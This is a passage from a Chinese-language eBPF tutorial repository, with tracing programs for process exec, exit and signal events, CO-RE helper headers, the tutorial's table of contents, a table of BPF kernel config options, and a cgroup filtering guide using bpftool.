bpf_get_current_pid_tgid(); 44 | __u32 tid = (__u32)pid_tgid; 45 | struct event *eventp; 46 | 47 | eventp = bpf_map_lookup_elem(&values, &tid); 48 | if (!eventp) 49 | return 0; 50 | 51 | eventp->ret = ret; 52 | bpf_printk("PID %d (%s) sent signal %d ", 53 | eventp->pid, eventp->comm, eventp->sig); 54 | bpf_printk("to PID %d, ret = %d", 55 | eventp->tpid, ret); 56 | 57 | cleanup: 58 | bpf_map_delete_elem(&values, &tid); 59 | return 0; 60 | } 61 | 62 | SEC("tracepoint/syscalls/sys_enter_kill") 63 | int kill_entry(struct trace_event_raw_sys_enter *ctx) 64 | { 65 | pid_t tpid = (pid_t)ctx->args[0]; 66 | int sig = (int)ctx->args[1]; 67 | 68 | return probe_entry(tpid, sig); 69 | } 70 | 71 | SEC("tracepoint/syscalls/sys_exit_kill") 72 | int kill_exit(struct trace_event_raw_sys_exit *ctx) 73 | { 74 | return probe_exit(ctx, ctx->ret); 75 | } 76 | 77 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 78 | -------------------------------------------------------------------------------- /src/7-execsnoop/.gitignore: -------------------------------------------------------------------------------- 1 | ecli 2 | *.json 3 | 4 | -------------------------------------------------------------------------------- /src/7-execsnoop/README.md: -------------------------------------------------------------------------------- 1 | # eBPF 入门实践教程七:捕获进程执行事件,通过 perf event array 向用户态打印输出 2 | 3 | eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具,它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 4 | 5 | 本文是 eBPF 入门开发实践教程的第七篇,主要介绍如何捕获 Linux 内核中进程执行的事件,并且通过 perf event array 向用户态命令行打印输出,不需要再通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。通过 perf event array 向用户态发送信息之后,可以进行复杂的数据处理和分析。 6 | 7 | ## perf buffer 8 | 9 | eBPF 提供了两个环形缓冲区,可以用来将信息从 eBPF 程序传输到用户区控制器。第一个是perf环形缓冲区,,它至少从内核v4.15开始就存在了。第二个是后来引入的 BPF 环形缓冲区。本文只考虑perf环形缓冲区。 10 | 11 | ## execsnoop 12 | 13 | 通过 perf event array 向用户态命令行打印输出,需要编写一个头文件,一个 C 源文件。示例代码如下: 14 | 15 | 头文件:execsnoop.h 16 | 17 | ```c 18 | #ifndef __EXECSNOOP_H 19 | #define __EXECSNOOP_H 20 | 21 | #define TASK_COMM_LEN 16 22 | 23 | struct event { 24 | int pid; 25 | int ppid; 26 | int uid; 27 | int retval; 28 | bool is_exit; 29 | char comm[TASK_COMM_LEN]; 30 | }; 31 | 32 | #endif /* __EXECSNOOP_H */ 33 | ``` 34 | 35 | 源文件:execsnoop.bpf.c 36 | 37 | ```c 38 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 39 | #include 40 | #include 41 | #include 42 | #include "execsnoop.h" 43 | 44 | struct { 45 | __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); 46 | __uint(key_size, sizeof(u32)); 47 | __uint(value_size, sizeof(u32)); 48 | } events SEC(".maps"); 49 | 50 | SEC("tracepoint/syscalls/sys_enter_execve") 51 | int tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx) 52 | { 53 | u64 id; 54 | pid_t pid, tgid; 55 | struct event event={0}; 56 | struct task_struct *task; 57 | 58 | uid_t uid = (u32)bpf_get_current_uid_gid(); 59 | id = bpf_get_current_pid_tgid(); 60 | tgid = id >> 32; 61 | 62 | event.pid = tgid; 63 | event.uid = uid; 64 | task = (struct task_struct*)bpf_get_current_task(); 65 | event.ppid = BPF_CORE_READ(task, real_parent, tgid); 66 | char *cmd_ptr = (char *) BPF_CORE_READ(ctx, args[0]); 67 | bpf_probe_read_str(&event.comm, sizeof(event.comm), cmd_ptr); 68 | bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); 69 | return 0; 70 | } 71 | 72 | char LICENSE[] SEC("license") = "GPL"; 73 | ``` 74 | 75 | 这段代码定义了个 eBPF 程序,用于捕获进程执行 execve 系统调用的入口。 76 | 77 | 在入口程序中,我们首先获取了当前进程的进程 ID 和用户 ID,然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体,并通过 bpf_probe_read_str 函数读取了进程名称。最后,我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 78 | 79 | 使用这段代码,我们就可以捕获 Linux 内核中进程执行的事件, 并分析进程的执行情况。 80 | 81 | eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 82 | 83 | 使用容器编译: 84 | 85 | ```shell 86 | docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 87 | ``` 88 | 89 | 或者使用 ecc 编译: 90 | 91 | ```shell 92 | ecc execsnoop.bpf.c execsnoop.h 93 | ``` 94 | 95 | 运行 96 | 97 | ```console 98 | $ sudo ./ecli run package.json 99 | TIME PID PPID UID COMM 100 | 21:28:30 40747 3517 1000 node 101 | 21:28:30 40748 40747 1000 sh 102 | 21:28:30 40749 3517 1000 node 103 | 21:28:30 40750 40749 1000 sh 104 | 21:28:30 40751 3517 1000 node 105 | 21:28:30 40752 40751 1000 sh 106 | 21:28:30 40753 40752 1000 cpuUsage.sh 107 | ``` 108 | 109 | ## 总结 110 | 111 | 本文介绍了如何捕获 Linux 内核中进程执行的事件,并且通过 perf event array 向用户态命令行打印输出,通过 perf event array 向用户态发送信息之后,可以进行复杂的数据处理和分析。在 libbpf 对应的内核态代码中,定义这样一个结构体和对应的头文件: 112 | 113 | ```c 114 | struct { 115 | __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); 116 | __uint(key_size, sizeof(u32)); 117 | __uint(value_size, sizeof(u32)); 118 | } events SEC(".maps"); 119 | ``` 120 | 121 | 就可以往用户态直接发送信息。 122 | 123 | 更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档: 124 | 125 | 如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 126 | -------------------------------------------------------------------------------- /src/7-execsnoop/execsnoop.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | #include 3 | #include 4 | #include 5 | #include "execsnoop.h" 6 | 7 | struct { 8 | __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); 9 | __uint(key_size, sizeof(u32)); 10 | __uint(value_size, sizeof(u32)); 11 | } events SEC(".maps"); 12 | 13 | SEC("tracepoint/syscalls/sys_enter_execve") 14 | int tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx) 15 | { 16 | u64 id; 17 | pid_t pid, tgid; 18 | struct event event={0}; 19 | struct task_struct *task; 20 | 21 | uid_t uid = (u32)bpf_get_current_uid_gid(); 22 | id = bpf_get_current_pid_tgid(); 23 | tgid = id >> 32; 24 | 25 | event.pid = tgid; 26 | event.uid = uid; 27 | task = (struct task_struct*)bpf_get_current_task(); 28 | event.ppid = BPF_CORE_READ(task, real_parent, tgid); 29 | char *cmd_ptr = (char *) BPF_CORE_READ(ctx, args[0]); 30 | bpf_probe_read_str(&event.comm, sizeof(event.comm), cmd_ptr); 31 | bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); 32 | return 0; 33 | } 34 | 35 | char LICENSE[] SEC("license") = "GPL"; 36 | 37 | -------------------------------------------------------------------------------- /src/7-execsnoop/execsnoop.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #ifndef __EXECSNOOP_H 3 | #define __EXECSNOOP_H 4 | 5 | #define TASK_COMM_LEN 16 6 | 7 | struct event { 8 | int pid; 9 | int ppid; 10 | int uid; 11 | char comm[TASK_COMM_LEN]; 12 | }; 13 | 14 | #endif /* __EXECSNOOP_H */ 15 | 16 | 17 | -------------------------------------------------------------------------------- /src/8-exitsnoop/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | eunomia-exporter 3 | ecli 4 | *.json 5 | -------------------------------------------------------------------------------- /src/8-exitsnoop/exitsnoop.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause 2 | /* Copyright (c) 2020 Facebook */ 3 | #include "vmlinux.h" 4 | #include 5 | #include 6 | #include 7 | #include "exitsnoop.h" 8 | 9 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 10 | 11 | struct { 12 | __uint(type, BPF_MAP_TYPE_RINGBUF); 13 | __uint(max_entries, 256 * 1024); 14 | } rb SEC(".maps"); 15 | 16 | SEC("tp/sched/sched_process_exit") 17 | int handle_exit(struct trace_event_raw_sched_process_template* ctx) 18 | { 19 | struct task_struct *task; 20 | struct event *e; 21 | pid_t pid, tid; 22 | u64 id, ts, *start_ts, start_time = 0; 23 | 24 | /* get PID and TID of exiting thread/process */ 25 | id = bpf_get_current_pid_tgid(); 26 | pid = id >> 32; 27 | tid = (u32)id; 28 | 29 | /* ignore thread exits */ 30 | if (pid != tid) 31 | return 0; 32 | 33 | /* reserve sample from BPF ringbuf */ 34 | e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); 35 | if (!e) 36 | return 0; 37 | 38 | /* fill out the sample with data */ 39 | task = (struct task_struct *)bpf_get_current_task(); 40 | start_time = BPF_CORE_READ(task, start_time); 41 | 42 | e->duration_ns = bpf_ktime_get_ns() - start_time; 43 | e->pid = pid; 44 | e->ppid = BPF_CORE_READ(task, real_parent, tgid); 45 | e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; 46 | bpf_get_current_comm(&e->comm, sizeof(e->comm)); 47 | 48 | /* send data to user-space for post-processing */ 49 | bpf_ringbuf_submit(e, 0); 50 | return 0; 51 | } 52 | -------------------------------------------------------------------------------- /src/8-exitsnoop/exitsnoop.h: -------------------------------------------------------------------------------- 1 | #ifndef __BOOTSTRAP_H 2 | #define __BOOTSTRAP_H 3 | 4 | #define TASK_COMM_LEN 16 5 | #define MAX_FILENAME_LEN 127 6 | 7 | struct event { 8 | int pid; 9 | int ppid; 10 | unsigned exit_code; 11 | unsigned long long duration_ns; 12 | char comm[TASK_COMM_LEN]; 13 | }; 14 | 15 | #endif /* __BOOTSTRAP_H */ 16 | -------------------------------------------------------------------------------- /src/9-runqlat/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli -------------------------------------------------------------------------------- /src/9-runqlat/bits.bpf.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #ifndef __BITS_BPF_H 3 | #define __BITS_BPF_H 4 | 5 | #define READ_ONCE(x) (*(volatile typeof(x) *)&(x)) 6 | #define WRITE_ONCE(x, val) ((*(volatile typeof(x) *)&(x)) = val) 7 | 8 | static __always_inline u64 log2(u32 v) 9 | { 10 | u32 shift, r; 11 | 12 | r = (v > 0xFFFF) << 4; v >>= r; 13 | shift = (v > 0xFF) << 3; v >>= shift; r |= shift; 14 | shift = (v > 0xF) << 2; v >>= shift; r |= shift; 15 | shift = (v > 0x3) << 1; v >>= shift; r |= shift; 16 | r |= (v >> 1); 17 | 18 | return r; 19 | } 20 | 21 | static __always_inline u64 log2l(u64 v) 22 | { 23 | u32 hi = v >> 32; 24 | 25 | if (hi) 26 | return log2(hi) + 32; 27 | else 28 | return log2(v); 29 | } 30 | 31 | #endif /* __BITS_BPF_H */ 32 | -------------------------------------------------------------------------------- /src/9-runqlat/core_fixes.bpf.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | /* Copyright (c) 2021 Hengqi Chen */ 3 | 4 | #ifndef __CORE_FIXES_BPF_H 5 | #define __CORE_FIXES_BPF_H 6 | 7 | #include 8 | #include 9 | 10 | /** 11 | * commit 2f064a59a1 ("sched: Change task_struct::state") changes 12 | * the name of task_struct::state to task_struct::__state 13 | * see: 14 | * https://github.com/torvalds/linux/commit/2f064a59a1 15 | */ 16 | struct task_struct___o { 17 | volatile long int state; 18 | } __attribute__((preserve_access_index)); 19 | 20 | struct task_struct___x { 21 | unsigned int __state; 22 | } __attribute__((preserve_access_index)); 23 | 24 | static __always_inline __s64 get_task_state(void *task) 25 | { 26 | struct task_struct___x *t = task; 27 | 28 | if (bpf_core_field_exists(t->__state)) 29 | return BPF_CORE_READ(t, __state); 30 | return BPF_CORE_READ((struct task_struct___o *)task, state); 31 | } 32 | 33 | /** 34 | * commit 309dca309fc3 ("block: store a block_device pointer in struct bio") 35 | * adds a new member bi_bdev which is a pointer to struct block_device 36 | * see: 37 | * https://github.com/torvalds/linux/commit/309dca309fc3 38 | */ 39 | struct bio___o { 40 | struct gendisk *bi_disk; 41 | } __attribute__((preserve_access_index)); 42 | 43 | struct bio___x { 44 | struct block_device *bi_bdev; 45 | } __attribute__((preserve_access_index)); 46 | 47 | static __always_inline struct gendisk *get_gendisk(void *bio) 48 | { 49 | struct bio___x *b = bio; 50 | 51 | if (bpf_core_field_exists(b->bi_bdev)) 52 | return BPF_CORE_READ(b, bi_bdev, bd_disk); 53 | return BPF_CORE_READ((struct bio___o *)bio, bi_disk); 54 | } 55 | 56 | /** 57 | * commit d5869fdc189f ("block: introduce block_rq_error tracepoint") 58 | * adds a new tracepoint block_rq_error and it shares the same arguments 59 | * with tracepoint block_rq_complete. As a result, the kernel BTF now has 60 | * a `struct trace_event_raw_block_rq_completion` instead of 61 | * `struct trace_event_raw_block_rq_complete`. 62 | * see: 63 | * https://github.com/torvalds/linux/commit/d5869fdc189f 64 | */ 65 | struct trace_event_raw_block_rq_complete___x { 66 | dev_t dev; 67 | sector_t sector; 68 | unsigned int nr_sector; 69 | } __attribute__((preserve_access_index)); 70 | 71 | struct trace_event_raw_block_rq_completion___x { 72 | dev_t dev; 73 | sector_t sector; 74 | unsigned int nr_sector; 75 | } __attribute__((preserve_access_index)); 76 | 77 | static __always_inline bool has_block_rq_completion() 78 | { 79 | if (bpf_core_type_exists(struct trace_event_raw_block_rq_completion___x)) 80 | return true; 81 | return false; 82 | } 83 | 84 | /** 85 | * commit d152c682f03c ("block: add an explicit ->disk backpointer to the 86 | * request_queue") and commit f3fa33acca9f ("block: remove the ->rq_disk 87 | * field in struct request") make some changes to `struct request` and 88 | * `struct request_queue`. Now, to get the `struct gendisk *` field in a CO-RE 89 | * way, we need both `struct request` and `struct request_queue`. 90 | * see: 91 | * https://github.com/torvalds/linux/commit/d152c682f03c 92 | * https://github.com/torvalds/linux/commit/f3fa33acca9f 93 | */ 94 | struct request_queue___x { 95 | struct gendisk *disk; 96 | } __attribute__((preserve_access_index)); 97 | 98 | struct request___x { 99 | struct request_queue___x *q; 100 | struct gendisk *rq_disk; 101 | } __attribute__((preserve_access_index)); 102 | 103 | static __always_inline struct gendisk *get_disk(void *request) 104 | { 105 | struct request___x *r = request; 106 | 107 | if (bpf_core_field_exists(r->rq_disk)) 108 | return BPF_CORE_READ(r, rq_disk); 109 | return BPF_CORE_READ(r, q, disk); 110 | } 111 | 112 | #endif /* __CORE_FIXES_BPF_H */ 113 | -------------------------------------------------------------------------------- /src/9-runqlat/maps.bpf.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | // Copyright (c) 2020 Anton Protopopov 3 | #ifndef __MAPS_BPF_H 4 | #define __MAPS_BPF_H 5 | 6 | #include 7 | #include 8 | 9 | static __always_inline void * 10 | bpf_map_lookup_or_try_init(void *map, const void *key, const void *init) 11 | { 12 | void *val; 13 | long err; 14 | 15 | val = bpf_map_lookup_elem(map, key); 16 | if (val) 17 | return val; 18 | 19 | err = bpf_map_update_elem(map, key, init, BPF_NOEXIST); 20 | if (err && err != -EEXIST) 21 | return 0; 22 | 23 | return bpf_map_lookup_elem(map, key); 24 | } 25 | 26 | #endif /* __MAPS_BPF_H */ 27 | -------------------------------------------------------------------------------- /src/9-runqlat/runqlat.h: -------------------------------------------------------------------------------- 1 | 2 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 3 | #ifndef __RUNQLAT_H 4 | #define __RUNQLAT_H 5 | 6 | #define TASK_COMM_LEN 16 7 | #define MAX_SLOTS 26 8 | 9 | struct hist { 10 | __u32 slots[MAX_SLOTS]; 11 | char comm[TASK_COMM_LEN]; 12 | }; 13 | 14 | #endif /* __RUNQLAT_H */ 15 | -------------------------------------------------------------------------------- /src/SUMMARY.md: -------------------------------------------------------------------------------- 1 | # eBPF 开发实践教程:基于 CO-RE,通过小工具快速上手 eBPF 开发 2 | 3 | 这是一个基于 `CO-RE`(一次编译,到处运行)的 eBPF 的开发教程,提供了从入门到进阶的 eBPF 开发实践,包括基本概念、代码实例、实际应用等内容。和 BCC 不同的是,我们使用 libbpf、Cilium、libbpf-rs、eunomia-bpf 等框架进行开发,包含 C、Go、Rust 等语言的示例。 4 | 5 | 本教程不会进行复杂的概念讲解和场景介绍,主要希望提供一些 eBPF 小工具的案例(**非常短小,从二十行代码开始入门!**),来帮助 eBPF 应用的开发者快速上手 eBPF 的开发方法和技巧。教程内容可以在目录中找到,每个目录都是一个独立的 eBPF 工具案例。 6 | 7 | 教程关注于可观测性、网络、安全等等方面的 eBPF 示例。完整的代码和教程可以在 [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) GitHub 开源仓库中找到。**如果您认为本教程对您有所帮助,也请给我们一个 star 鼓励一下!** 8 | 9 | # 入门文档 10 | 11 | 包含简单的 eBPF 程序样例与介绍,这部分主要使用 `eunomia-bpf` 框架简化开发,并介绍了 eBPF 的基本使用方式和开发流程。 12 | 13 | - [lesson 0-introduce](0-introduce/README.md) 介绍 eBPF 的基本概念和常见的开发工具 14 | - [lesson 1-helloworld](1-helloworld/README.md) 使用 eBPF 开发最简单的「Hello World」程序,介绍 eBPF 的基本框架和开发流程 15 | - [lesson 2-kprobe-unlink](2-kprobe-unlink/README.md) 在 eBPF 中使用 kprobe 捕获 unlink 系统调用 16 | - [lesson 3-fentry-unlink](3-fentry-unlink/README.md) 在 eBPF 中使用 fentry 捕获 unlink 系统调用 17 | - [lesson 4-opensnoop](4-opensnoop/README.md) 使用 eBPF 捕获进程打开文件的系统调用集合,使用全局变量在 eBPF 中过滤进程 pid 18 | - [lesson 5-uprobe-bashreadline](5-uprobe-bashreadline/README.md) 在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用 19 | - [lesson 6-sigsnoop](6-sigsnoop/README.md) 捕获进程发送信号的系统调用集合,使用 hash map 保存状态 20 | - [lesson 7-execsnoop](7-execsnoop/README.md) 捕获进程执行时间,通过 perf event array 向用户态打印输出 21 | - [lesson 8-execsnoop](8-exitsnoop/README.md) 捕获进程退出事件,使用 ring buffer 向用户态打印输出 22 | - [lesson 9-runqlat](9-runqlat/README.md) 捕获进程调度延迟,以直方图方式记录 23 | - [lesson 10-hardirqs](10-hardirqs/README.md) 使用 hardirqs 或 softirqs 捕获中断事件 24 | 25 | # 进阶文档和示例 26 | 27 | 我们开始主要基于 `libbpf` 构建完整的 eBPF 工程,并且把它和各种应用场景结合起来进行实践。 28 | 29 | - [lesson 11-bootstrap](11-bootstrap/README.md) 使用 libbpf-bootstrap 为 eBPF 编写原生的 libbpf 用户态代码,并建立完整的 libbpf 工程。 30 | - [lesson 12-profile](12-profile/README.md) 使用 eBPF 进行性能分析 31 | - [lesson 13-tcpconnlat](13-tcpconnlat/README.md) 记录 TCP 连接延迟,并使用 libbpf 在用户态处理数据 32 | - [lesson 14-tcpstates](14-tcpstates/README.md) 记录 TCP 连接状态与 TCP RTT 33 | - [lesson 15-javagc](15-javagc/README.md) 使用 usdt 捕获用户态 Java GC 事件耗时 34 | - [lesson 16-memleak](16-memleak/README.md) 检测内存泄漏 35 | - [lesson 17-biopattern](17-biopattern/README.md) 捕获磁盘 IO 模式 36 | - [lesson 18-further-reading](18-further-reading/README.md) 更进一步的相关资料:论文列表、项目、博客等等 37 | - [lesson 19-lsm-connect](19-lsm-connect/README.md) 使用 LSM 进行安全检测防御 38 | - [lesson 20-tc](20-tc/README.md) 使用 eBPF 进行 tc 流量控制 39 | - [lesson 21-xdp](21-xdp/README.md) 使用 eBPF 进行 XDP 报文处理 40 | 41 | # 高级主题 42 | 43 | 这里涵盖了一系列和 eBPF 相关的高级内容,包含在 Android 上使用 eBPF 程序、使用 eBPF 程序进行可能的攻击与防御、复杂的追踪等等。这部分主要基于 libbpf、Cilium 等框架进行开发。 44 | 45 | - [在 Android 上使用 eBPF 程序](22-android/README.md) 46 | - [使用 uprobe 捕获多种库的 SSL/TLS 明文数据](30-sslsniff/README.md) 47 | - [使用 eBPF socket filter 或 syscall trace 追踪 HTTP 请求和其他七层协议](23-http/README.md) 48 | - [使用 sockops 加速网络请求转发](29-sockops/README.md) 49 | - [使用 eBPF 隐藏进程或文件信息](24-hide/README.md) 50 | - [使用 bpf_send_signal 发送信号终止进程](25-signal/README.md) 51 | - [使用 eBPF 添加 sudo 用户](26-sudo/README.md) 52 | - [使用 eBPF 替换任意程序读取或写入的文本](27-replace/README.md) 53 | - [BPF 的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序](28-detach/README.md) 54 | - [eBPF 运行时的安全性与面临的挑战](18-further-reading/ebpf-security.zh.md) 55 | - [使用 eBPF 修改系统调用参数](34-syscall/README.md) 56 | - [eBPF开发实践:使用 user ring buffer 向内核异步发送信息](35-user-ringbuf/README.md) 57 | - [用户空间 eBPF 运行时:深度解析与应用实践](36-userspace-ebpf/README.md) 58 | - [使用 uprobe 追踪 Rust 应用程序](37-uprobe-rust/README.md) 59 | - [借助 eBPF 和 BTF,让用户态也能一次编译、到处运行](38-btf-uprobe/README.md) 60 | 61 | # bcc 和 bpftrace 教程与文档 62 | 63 | - [BPF Features by Linux Kernel Version](bcc-documents/kernel-versions.md) 64 | - [Kernel Configuration for BPF Features](bcc-documents/kernel_config.md) 65 | - [bcc Reference Guide](bcc-documents/reference_guide.md) 66 | - [Special Filtering](bcc-documents/special_filtering.md) 67 | - [bcc Tutorial](bcc-documents/tutorial.md) 68 | - [bcc Python Developer Tutorial](bcc-documents/tutorial_bcc_python_developer.md) 69 | - [bpftrace Tutorial](bpftrace-tutorial/README.md) 70 | -------------------------------------------------------------------------------- /src/bcc-documents/kernel_config.md: -------------------------------------------------------------------------------- 1 | # BPF 特性的内核配置 2 | 3 | ## 与 BPF 相关的内核配置 4 | 5 | | 功能 | 内核配置 | 描述 | 6 | |:----|:----------|:-----| 7 | | **基础** | CONFIG_BPF_SYSCALL | 启用 bpf() 系统调用 | 8 | | | CONFIG_BPF_JIT | BPF 程序通常由 BPF 解释器处理。此选项允许内核在加载程序时生成本地代码。这将显著加速 BPF 程序的处理 | 9 | | | CONFIG_HAVE_BPF_JIT | 启用 BPF 即时编译器 | 10 | | | CONFIG_HAVE_EBPF_JIT | 扩展 BPF JIT (eBPF) | 11 | | | CONFIG_HAVE_CBPF_JIT | 经典 BPF JIT (cBPF) | 12 | | | CONFIG_MODULES | 启用可加载内核模块的构建 | 13 | | | CONFIG_BPF | BPF VM 解释器 | 14 | | | CONFIG_BPF_EVENTS | 允许用户将 BPF 程序附加到 kprobe、uprobe 和 tracepoint 事件上 | 15 | | | CONFIG_PERF_EVENTS | 内核性能事件和计数器 | 16 | | | CONFIG_HAVE_PERF_EVENTS | 启用性能事件 | 17 | | | CONFIG_PROFILING | 启用分析器使用的扩展分析支持机制 | 18 | | **BTF** | CONFIG_DEBUG_INFO_BTF | 从 DWARF 调试信息生成去重的 BTF 类型信息 | 19 | | | CONFIG_PAHOLE_HAS_SPLIT_BTF | 为每个选定的内核模块生成 BTF | 20 | | | CONFIG_DEBUG_INFO_BTF_MODULES | 为内核模块生成紧凑的分割 BTF 类型信息 | 21 | | **安全** | CONFIG_BPF_JIT_ALWAYS_ON | 启用 BPF JIT 并删除 BPF 解释器以避免猜测执行 | 22 | | | CONFIG_BPF_UNPRIV_DEFAULT_OFF | 通过设置默认禁用非特权 BPF | 23 | | **Cgroup** | CONFIG_CGROUP_BPF | 支持将 BPF 程序附加到 cgroup 上 | 24 | | **网络** | CONFIG_BPFILTER | 基于 BPF 的数据包过滤框架 (BPFILTER) | 25 | | | CONFIG_BPFILTER_UMH | 使用内嵌的用户模式助手构建 bpfilter 内核模块 | 26 | | | CONFIG_NET_CLS_BPF | 基于可编程 BPF (JIT'ed) 过滤器进行数据包分类的基于 BPF 的分类器的替代方法 || | CONFIG_NET_ACT_BPF | 在数据包上执行BPF代码。BPF代码将决定是否丢弃数据包 | 27 | | | CONFIG_BPF_STREAM_PARSER | 启用此功能,允许使用BPF_MAP_TYPE_SOCKMAP与TCP流解析器配合使用 | 28 | | | CONFIG_LWTUNNEL_BPF | 在路由查找入站和出站数据包后,允许作为下一跳操作运行BPF程序 | 29 | | | CONFIG_NETFILTER_XT_MATCH_BPF | BPF匹配将对每个数据包应用Linux套接字过滤器,并接受过滤器返回非零值的数据包 | 30 | | | CONFIG_IPV6_SEG6_BPF | 为支持BPF seg6local挂钩,添加IPv6 Segement Routing助手 [参考](https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee7) | 31 | | **kprobes** | CONFIG_KPROBE_EVENTS | 允许用户通过ftrace接口动态添加跟踪事件(类似于tracepoints) | 32 | | | CONFIG_KPROBES | 启用基于kprobes的动态事件 | 33 | | | CONFIG_HAVE_KPROBES | 检查是否启用了kprobes | 34 | | | CONFIG_HAVE_REGS_AND_STACK_ACCESS_API | 如果架构支持从pt_regs访问寄存器和堆栈条目所需的API,则应该选择此符号。例如,基于kprobes的事件跟踪器需要此API | 35 | | | CONFIG_KPROBES_ON_FTRACE | 如果架构支持将pt_regs完全传递给函数跟踪,则在函数跟踪器上有kprobes | 36 | | **kprobe multi** | CONFIG_FPROBE | 启用fprobe以一次性在多个函数上附加探测点 | 37 | | **kprobe override** | CONFIG_BPF_KPROBE_OVERRIDE | 启用BPF程序覆盖kprobed函数 | 38 | | **uprobes** | CONFIG_UPROBE_EVENTS | 启用基于uprobes的动态事件 | 39 | | | CONFIG_ARCH_SUPPORTS_UPROBES | 架构特定的uprobes支持 | 40 | | | CONFIG_UPROBES | Uprobes是kprobes的用户空间对应项:它们允许仪器应用程序(如'perf probe')在用户空间二进制文件和库中建立非侵入性探测点,并在用户空间应用程序触发探测点时执行处理函数。 || | CONFIG_MMU | 基于MMU的虚拟化寻址空间支持,通过分页内存管理 | 41 | | **Tracepoints** | CONFIG_TRACEPOINTS | 启用在内核中插入Tracepoints并与问题函数连接 | 42 | | | CONFIG_HAVE_SYSCALL_TRACEPOINTS | 启用系统调用进入/退出跟踪 | 43 | | **Raw Tracepoints** | Same as Tracepoints | | 44 | | **LSM** | CONFIG_BPF_LSM | 使用BPF程序对安全钩子进行仪器化,实现动态MAC和审计策略 | 45 | | **LIRC** | CONFIG_BPF_LIRC_MODE2 | 允许将BPF程序附加到lirc设备 | 46 | -------------------------------------------------------------------------------- /src/bcc-documents/special_filtering.md: -------------------------------------------------------------------------------- 1 | # 特殊过滤 2 | 3 | 某些工具具有特殊的过滤能力,主要用例是跟踪运行在容器中的进程,但这些机制是通用的,也可以在其他情况下使用。 4 | 5 | ## 按 cgroups过滤 6 | 7 | 某些工具有一个通过引用外部管理的固定的BPF哈希映射来按cgroup过滤的选项。 8 | 9 | 命令示例: 10 | 11 | ```sh 12 | # ./opensnoop --cgroupmap /sys/fs/bpf/test01 13 | # ./execsnoop --cgroupmap /sys/fs/bpf/test01 14 | # ./tcpconnect --cgroupmap /sys/fs/bpf/test01 15 | # ./tcpaccept --cgroupmap /sys/fs/bpf/test01 16 | # ./tcptracer --cgroupmap /sys/fs/bpf/test01 17 | ``` 18 | 19 | 上述命令将仅显示属于一个或多个cgroup的进程的结果,这些cgroup的ID由`bpf_get_current_cgroup_id()`返回,并存在固定的BPF哈希映射中。 20 | 21 | 通过以下方式创建BPF哈希映射: 22 | 23 | ```sh 24 | # bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \ 25 | name cgroupset flags 0 26 | ``` 27 | 28 | 要在新cgroup中获取一个shell,可以使用: 29 | 30 | ```sh 31 | # systemd-run --pty --unit test bash 32 | ``` 33 | 34 | 该shell将在cgroup`/sys/fs/cgroup/unified/system.slice/test.service`中运行。 35 | 36 | 可以使用`name_to_handle_at()`系统调用来发现cgroup ID。在examples/cgroupid中,您可以找到一个获取cgroup ID的程序示例。 37 | 38 | ```sh 39 | # cd examples/cgroupid 40 | # make 41 | # ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service 42 | ``` 43 | 44 | 或者,使用Docker: 45 | 46 | ```sh 47 | # cd examples/cgroupid 48 | # docker build -t cgroupid . 49 | # docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \ 50 | cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service 51 | ``` 52 | 53 | 这将以主机的字节序(hexadecimal string)打印出cgroup ID,例如`77 16 00 00 01 00 00 00`。 54 | 55 | ```sh 56 | # FILE=/sys/fs/bpf/test01 57 | # CGROUPID_HEX="77 16 00 00 01 00 00 00" 58 | # bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any 